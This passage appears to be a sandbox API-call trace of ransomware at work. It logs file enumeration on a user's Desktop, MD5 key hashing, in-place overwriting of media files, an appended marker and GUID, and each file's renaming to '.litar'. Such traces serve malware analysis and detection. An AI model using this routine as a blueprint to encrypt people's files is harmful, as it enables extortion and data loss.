lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.237] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.237] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.237] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.237] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.238] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.238] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.238] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.238] CloseHandle (hObject=0x624) returned 1 [0125.238] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.239] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.239] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.239] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q_qr72fTT.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q_qr72ftt.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\q_qr72fTT.mkv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q_qr72ftt.mkv.litar")) returned 1 [0125.239] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.239] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.240] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.240] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7bdab00, ftCreationTime.dwHighDateTime=0x1d4cc42, ftLastAccessTime.dwLowDateTime=0x565f8a80, ftLastAccessTime.dwHighDateTime=0x1d4d2e6, ftLastWriteTime.dwLowDateTime=0x565f8a80, ftLastWriteTime.dwHighDateTime=0x1d4d2e6, nFileSizeHigh=0x0, nFileSizeLow=0x913a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rzNuUzflSMr4Y.wav", cAlternateFileName="RZNUUZ~1.WAV")) returned 1 [0125.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.240] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.240] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.240] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rzNuUzflSMr4Y.wav") returned=".wav" [0125.240] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rzNuUzflSMr4Y.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rznuuzflsmr4y.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.240] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=37178) returned 1 [0125.240] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.242] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.242] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.244] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.244] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x913a, lpOverlapped=0x0) returned 1 [0125.244] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.244] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.244] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.244] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.244] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.245] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.245] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.245] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.245] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.245] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.245] GetLastError () returned 0x0 [0125.245] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.245] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x9140) returned 0x30fa0b0 [0125.246] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.246] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x9135, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x9135, lpOverlapped=0x0) returned 1 [0125.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.246] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x913a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.246] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.246] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.246] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.246] CloseHandle (hObject=0x624) returned 1 [0125.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.247] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.247] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.247] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rzNuUzflSMr4Y.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rznuuzflsmr4y.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rzNuUzflSMr4Y.wav.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rznuuzflsmr4y.wav.litar")) returned 1 [0125.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.248] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.249] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3144900, ftCreationTime.dwHighDateTime=0x1d4cc7c, ftLastAccessTime.dwLowDateTime=0xecc58590, ftLastAccessTime.dwHighDateTime=0x1d4cbf9, ftLastWriteTime.dwLowDateTime=0xecc58590, ftLastWriteTime.dwHighDateTime=0x1d4cbf9, nFileSizeHigh=0x0, nFileSizeLow=0xfb91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t1oDIACQ6VZc-ArQIwpX.bmp", cAlternateFileName="T1ODIA~1.BMP")) returned 1 [0125.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.249] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.249] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1oDIACQ6VZc-ArQIwpX.bmp") returned=".bmp" [0125.249] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1oDIACQ6VZc-ArQIwpX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t1odiacq6vzc-arqiwpx.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.249] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=64401) returned 1 [0125.249] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.251] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xfb6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.251] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.252] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.252] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.252] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.252] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xfb91, lpOverlapped=0x0) returned 1 [0125.253] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.253] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.253] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.253] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.254] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.254] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.254] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.254] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.254] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.254] GetLastError () returned 0x0 [0125.254] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.254] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.254] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.254] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfb90) returned 0x30fa0b0 [0125.255] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.255] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.255] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xfb8c, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xfb8c, lpOverlapped=0x0) returned 1 [0125.255] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.255] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xfb91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.255] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.255] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.255] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.255] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.255] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.255] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.257] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.257] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.257] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.257] CloseHandle (hObject=0x624) returned 1 [0125.258] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.258] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.258] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.258] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1oDIACQ6VZc-ArQIwpX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t1odiacq6vzc-arqiwpx.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t1oDIACQ6VZc-ArQIwpX.bmp.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t1odiacq6vzc-arqiwpx.bmp.litar")) returned 1 [0125.258] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.258] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.259] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.259] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa88b12c0, ftCreationTime.dwHighDateTime=0x1d4c6d4, ftLastAccessTime.dwLowDateTime=0xa76394b0, ftLastAccessTime.dwHighDateTime=0x1d4c87f, ftLastWriteTime.dwLowDateTime=0xa76394b0, ftLastWriteTime.dwHighDateTime=0x1d4c87f, nFileSizeHigh=0x0, nFileSizeLow=0x17462, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yg5sCFMNs8oiIw.swf", cAlternateFileName="YG5SCF~1.SWF")) returned 1 [0125.259] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.259] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.259] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.259] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yg5sCFMNs8oiIw.swf") returned=".swf" [0125.259] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yg5sCFMNs8oiIw.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yg5scfmns8oiiw.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.259] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=95330) returned 1 [0125.260] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.261] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1743c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.261] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.263] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.263] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.263] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.263] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x17462, lpOverlapped=0x0) returned 1 [0125.264] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.264] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.264] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.264] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.264] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.265] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.265] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.265] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.265] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.265] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.265] GetLastError () returned 0x0 [0125.265] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.265] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.265] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.265] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x17460) returned 0x30fa0b0 [0125.265] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.265] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.265] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x1745d, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x1745d, lpOverlapped=0x0) returned 1 [0125.266] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.266] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17462, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0125.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.266] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.266] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0125.266] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.266] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.266] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.266] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.266] CloseHandle (hObject=0x624) returned 1 [0125.267] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.267] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.267] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yg5sCFMNs8oiIw.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yg5scfmns8oiiw.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yg5sCFMNs8oiIw.swf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yg5scfmns8oiiw.swf.litar")) returned 1 [0125.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: 